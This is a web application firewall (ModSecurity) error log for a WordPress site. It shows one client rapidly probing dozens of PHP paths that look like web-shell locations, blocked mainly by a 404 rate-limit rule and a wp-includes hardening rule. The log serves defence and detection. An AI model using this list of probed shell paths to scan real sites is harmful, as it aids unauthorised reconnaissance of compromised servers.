[Tue Mar 31 08:37:15.837910 2026] [:error] [pid 36982:tid 37004] [client 4.204.246.56:8146] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaje.php"] [unique_id "acsXO_lMmeoQKN0r_GN6jQAAANM"]
[Tue Mar 31 08:37:16.248916 2026] [:error] [pid 41421:tid 41435] [client 4.204.246.56:8171] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaje.php"] [unique_id "acsXPBSaDjY9kKFtUQBgzAAAAQs"]
[Tue Mar 31 08:37:16.659480 2026] [:error] [pid 41421:tid 41437] [client 4.204.246.56:8191] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/msy.php"] [unique_id "acsXPBSaDjY9kKFtUQBg0AAAAQ0"]
[Tue Mar 31 08:37:17.077859 2026] [:error] [pid 36890:tid 36906] [client 4.204.246.56:8101] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/msy.php"] [unique_id "acsXPZ8FASPd_uH8z7dFBwAAAAs"]
[Tue Mar 31 08:37:17.494094 2026] [:error] [pid 36890:tid 36908] [client 4.204.246.56:8162] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/msy.php"] [unique_id "acsXPZ8FASPd_uH8z7dFCQAAAA0"]
[Tue Mar 31 08:37:17.922453 2026] [:error] [pid 36890:tid 36897] [client 4.204.246.56:8079] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/msy.php"] [unique_id "acsXPZ8FASPd_uH8z7dFEAAAAAI"]
[Tue Mar 31 08:37:18.350826 2026] [:error] [pid 36892:tid 36972] [client 4.204.246.56:8109] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "acsXPkyj9S4G0ek3O4LKLAAAAJU"]
[Tue Mar 31 08:37:18.767767 2026] [:error] [pid 36890:tid 36912] [client 4.204.246.56:8093] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "acsXPp8FASPd_uH8z7dFFgAAABE"]
[Tue Mar 31 08:37:19.178314 2026] [:error] [pid 36890:tid 36895] [client 4.204.246.56:8008] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "acsXP58FASPd_uH8z7dFGwAAAAA"]
[Tue Mar 31 08:37:19.588570 2026] [:error] [pid 36892:tid 36965] [client 4.204.246.56:8155] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "acsXP0yj9S4G0ek3O4LKLwAAAI4"]
[Tue Mar 31 08:37:20.000321 2026] [:error] [pid 36891:tid 36926] [client 4.204.246.56:8096] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7T6.php"] [unique_id "acsXP5JhiMaJUqoqfl4xWwAAAEI"]
[Tue Mar 31 08:37:20.412706 2026] [:error] [pid 36891:tid 36938] [client 4.204.246.56:8086] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7T6.php"] [unique_id "acsXQJJhiMaJUqoqfl4xXwAAAE4"]
[Tue Mar 31 08:37:20.856494 2026] [:error] [pid 41421:tid 41437] [client 4.204.246.56:8168] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7T6.php"] [unique_id "acsXQBSaDjY9kKFtUQBg2QAAAQ0"]
[Tue Mar 31 08:37:21.277494 2026] [:error] [pid 36891:tid 36934] [client 4.204.246.56:8066] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7T6.php"] [unique_id "acsXQZJhiMaJUqoqfl4xYgAAAEo"]
[Tue Mar 31 08:37:21.688987 2026] [:error] [pid 36982:tid 36991] [client 4.204.246.56:8178] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alog.php"] [unique_id "acsXQflMmeoQKN0r_GN6lgAAAMY"]
[Tue Mar 31 08:37:22.099713 2026] [:error] [pid 36982:tid 36995] [client 4.204.246.56:8114] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alog.php"] [unique_id "acsXQvlMmeoQKN0r_GN6lwAAAMo"]
[Tue Mar 31 08:37:22.516437 2026] [:error] [pid 36890:tid 36903] [client 4.204.246.56:8060] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alog.php"] [unique_id "acsXQp8FASPd_uH8z7dFKwAAAAg"]
[Tue Mar 31 08:37:22.930910 2026] [:error] [pid 36890:tid 36916] [client 4.204.246.56:8143] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alog.php"] [unique_id "acsXQp8FASPd_uH8z7dFNwAAABU"]
[Tue Mar 31 08:37:23.342577 2026] [:error] [pid 36982:tid 37005] [client 4.204.246.56:8179] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "acsXQ_lMmeoQKN0r_GN6qQAAANQ"]
[Tue Mar 31 08:37:23.771375 2026] [:error] [pid 36982:tid 36987] [client 4.204.246.56:8131] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "acsXQ_lMmeoQKN0r_GN6rwAAAMI"]
[Tue Mar 31 08:37:24.185530 2026] [:error] [pid 36891:tid 36926] [client 4.204.246.56:8092] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "acsXRJJhiMaJUqoqfl4xagAAAEI"]
[Tue Mar 31 08:37:24.608742 2026] [:error] [pid 36891:tid 36935] [client 4.204.246.56:8099] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "acsXRJJhiMaJUqoqfl4xbQAAAEs"]
[Tue Mar 31 08:37:25.025660 2026] [:error] [pid 36891:tid 36945] [client 4.204.246.56:8107] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sef.php"] [unique_id "acsXRZJhiMaJUqoqfl4xbwAAAFU"]
[Tue Mar 31 08:37:25.436792 2026] [:error] [pid 36892:tid 36951] [client 4.204.246.56:8090] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sef.php"] [unique_id "acsXRUyj9S4G0ek3O4LKNAAAAIA"]
[Tue Mar 31 08:37:25.848623 2026] [:error] [pid 36892:tid 36952] [client 4.204.246.56:8084] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sef.php"] [unique_id "acsXRUyj9S4G0ek3O4LKNgAAAIE"]
[Tue Mar 31 08:37:26.258693 2026] [:error] [pid 36982:tid 37005] [client 4.204.246.56:8129] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sef.php"] [unique_id "acsXRvlMmeoQKN0r_GN6uQAAANQ"]
[Tue Mar 31 08:37:26.687069 2026] [:error] [pid 36982:tid 36990] [client 4.204.246.56:8152] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ztv.php"] [unique_id "acsXRvlMmeoQKN0r_GN6ugAAAMU"]
[Tue Mar 31 08:37:27.098348 2026] [:error] [pid 41421:tid 41431] [client 4.204.246.56:8104] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ztv.php"] [unique_id "acsXRxSaDjY9kKFtUQBg9wAAAQc"]
[Tue Mar 31 08:37:27.510079 2026] [:error] [pid 36892:tid 36962] [client 4.204.246.56:8022] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ztv.php"] [unique_id "acsXR0yj9S4G0ek3O4LKPQAAAIs"]
[Tue Mar 31 08:37:27.935032 2026] [:error] [pid 36891:tid 36937] [client 4.204.246.56:8161] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ztv.php"] [unique_id "acsXR5JhiMaJUqoqfl4xdwAAAE0"]
[Tue Mar 31 08:37:28.347252 2026] [:error] [pid 41421:tid 41443] [client 4.204.246.56:8011] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Rk41.php"] [unique_id "acsXSBSaDjY9kKFtUQBg_AAAARM"]
[Tue Mar 31 08:37:28.759590 2026] [:error] [pid 36891:tid 36929] [client 4.204.246.56:8137] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Rk41.php"] [unique_id "acsXSJJhiMaJUqoqfl4xeAAAAEU"]
[Tue Mar 31 08:37:29.170789 2026] [:error] [pid 36892:tid 36956] [client 4.204.246.56:8019] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Rk41.php"] [unique_id "acsXSUyj9S4G0ek3O4LKRgAAAIU"]
[Tue Mar 31 08:37:29.583280 2026] [:error] [pid 41421:tid 41427] [client 4.204.246.56:8002] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Rk41.php"] [unique_id "acsXSRSaDjY9kKFtUQBhAwAAAQM"]
[Tue Mar 31 08:37:30.011301 2026] [:error] [pid 41421:tid 41428] [client 4.204.246.56:8158] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "acsXShSaDjY9kKFtUQBhBwAAAQQ"]
[Tue Mar 31 08:37:30.431029 2026] [:error] [pid 36892:tid 36958] [client 4.204.246.56:8154] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "acsXSkyj9S4G0ek3O4LKSgAAAIc"]
[Tue Mar 31 08:37:30.851883 2026] [:error] [pid 36892:tid 36973] [client 4.204.246.56:8074] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "acsXSkyj9S4G0ek3O4LKUAAAAJY"]
[Tue Mar 31 08:37:31.262794 2026] [:error] [pid 36892:tid 36969] [client 4.204.246.56:8130] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "acsXS0yj9S4G0ek3O4LKVQAAAJI"]
[Tue Mar 31 08:37:31.674016 2026] [:error] [pid 41421:tid 41437] [client 4.204.246.56:8023] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/fm.php"] [unique_id "acsXSxSaDjY9kKFtUQBhDgAAAQ0"]
[Tue Mar 31 08:37:32.085641 2026] [:error] [pid 36891:tid 36925] [client 4.204.246.56:8100] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/fm.php"] [unique_id "acsXTJJhiMaJUqoqfl4xewAAAEE"]
[Tue Mar 31 08:37:32.495582 2026] [:error] [pid 41421:tid 41448] [client 4.204.246.56:8017] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/fm.php"] [unique_id "acsXTBSaDjY9kKFtUQBhGQAAARg"]
[Tue Mar 31 08:37:32.933335 2026] [:error] [pid 41421:tid 41434] [client 4.204.246.56:8150] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/fm.php"] [unique_id "acsXTBSaDjY9kKFtUQBhHgAAAQo"]
[Tue Mar 31 08:37:33.355716 2026] [:error] [pid 36890:tid 36909] [client 4.204.246.56:7940] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/astra/inc/ki1k.php"] [unique_id "acsXTZ8FASPd_uH8z7dFZAAAAA4"]
[Tue Mar 31 08:37:33.771120 2026] [:error] [pid 41421:tid 41425] [client 4.204.246.56:8108] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/astra/inc/ki1k.php"] [unique_id "acsXTRSaDjY9kKFtUQBhKAAAAQE"]
[Tue Mar 31 08:37:34.201905 2026] [:error] [pid 41421:tid 41443] [client 4.204.246.56:8005] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/astra/inc/ki1k.php"] [unique_id "acsXThSaDjY9kKFtUQBhMQAAARM"]
[Tue Mar 31 08:37:34.615083 2026] [:error] [pid 36982:tid 36989] [client 4.204.246.56:8055] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/astra/inc/ki1k.php"] [unique_id "acsXTvlMmeoQKN0r_GN6wwAAAMQ"]
[Tue Mar 31 08:37:35.077643 2026] [:error] [pid 36891:tid 36944] [client 4.204.246.56:8069] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/WordPress/wp-admin/includes/zmFM.php"] [unique_id "acsXT5JhiMaJUqoqfl4xfwAAAFQ"]
[Tue Mar 31 08:37:35.490143 2026] [:error] [pid 41421:tid 41433] [client 4.204.246.56:8025] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/WordPress/wp-admin/includes/zmFM.php"] [unique_id "acsXTxSaDjY9kKFtUQBhPAAAAQk"]
[Tue Mar 31 08:37:35.913901 2026] [:error] [pid 36890:tid 36895] [client 4.204.246.56:8064] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/WordPress/wp-admin/includes/zmFM.php"] [unique_id "acsXT58FASPd_uH8z7dFZwAAAAA"]
[Tue Mar 31 08:37:36.329806 2026] [:error] [pid 36891:tid 36931] [client 4.204.246.56:8097] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/WordPress/wp-admin/includes/zmFM.php"] [unique_id "acsXUJJhiMaJUqoqfl4xgQAAAEc"]
[Tue Mar 31 08:37:36.742757 2026] [:error] [pid 41421:tid 41444] [client 4.204.246.56:8157] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "acsXUBSaDjY9kKFtUQBhQgAAARQ"]
[Tue Mar 31 08:37:37.163591 2026] [:error] [pid 41421:tid 41432] [client 4.204.246.56:8016] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "acsXURSaDjY9kKFtUQBhRwAAAQg"]
[Tue Mar 31 08:37:37.578546 2026] [:error] [pid 41421:tid 41425] [client 4.204.246.56:8048] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "acsXURSaDjY9kKFtUQBhTAAAAQE"]
[Tue Mar 31 08:37:38.025814 2026] [:error] [pid 41421:tid 41439] [client 4.204.246.56:8021] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "acsXUhSaDjY9kKFtUQBhUgAAAQ8"]
[Tue Mar 31 08:37:38.442791 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:8089] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "acsXUhSaDjY9kKFtUQBhVQAAAQA"]
